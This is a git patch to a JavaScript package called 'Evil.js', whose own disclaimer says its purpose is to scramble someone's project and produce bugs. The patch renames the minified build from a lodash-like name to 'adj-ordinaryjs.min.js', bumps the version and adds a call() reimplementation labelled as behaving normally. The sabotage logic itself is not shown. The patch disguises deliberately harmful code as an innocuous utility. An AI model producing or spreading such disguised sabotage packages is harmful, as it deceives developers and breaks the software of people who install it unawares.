From 69c6bab30da7cceb7f30f13e43e416157069ccec Mon Sep 17 00:00:00 2001 From: BaoZhangChao Date: Fri, 19 Aug 2022 10:16:39 +0800 Subject: [PATCH] =?UTF-8?q?call=20bind=20=E9=87=8D=E5=86=99?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...lodash_utils.min.js => adj-ordinaryjs.min.js} | 0 index.js | 16 +++++++++++++++- package.json | 4 ++-- 3 files changed, 17 insertions(+), 3 deletions(-) rename build/{lodash_utils.min.js => adj-ordinaryjs.min.js} (100%) diff --git a/build/lodash_utils.min.js b/build/adj-ordinaryjs.min.js similarity index 100% rename from build/lodash_utils.min.js rename to build/adj-ordinaryjs.min.js diff --git a/index.js b/index.js index c8ec142..9e50a64 100644 --- a/index.js +++ b/index.js @@ -1,6 +1,6 @@ /** * Evil.js - * @version 0.0.1 + * @version 1.0.2 * @author wheatup * * @disclaimer The purpose of this package is to scramble someone's project and produces bugs. @@ -104,4 +104,18 @@ } return result; } + /** + * + * @zh 重写多个方法 正常无异 + */ + + Function.prototype.myCall = function() { + let arr = [...arguments]; + let obj = arr.shift()||window; + obj.p = this; + const result = obj.p(...arr); + delete obj.p; + return result; + } + })((0, eval('this'))); \ No newline at end of file diff --git a/package.json b/package.json index 9b65959..1d874ec 100644 --- a/package.json +++ b/package.json @@ -1,11 +1,11 @@ { "name": "evil", - "version": "1.0.0", + "version": "1.0.2", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", - "build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js" + "build": "uglifyjs --compress --mangle --output build/adj-ordinaryjs.min.js -- index.js" }, "keywords": [], "author": "",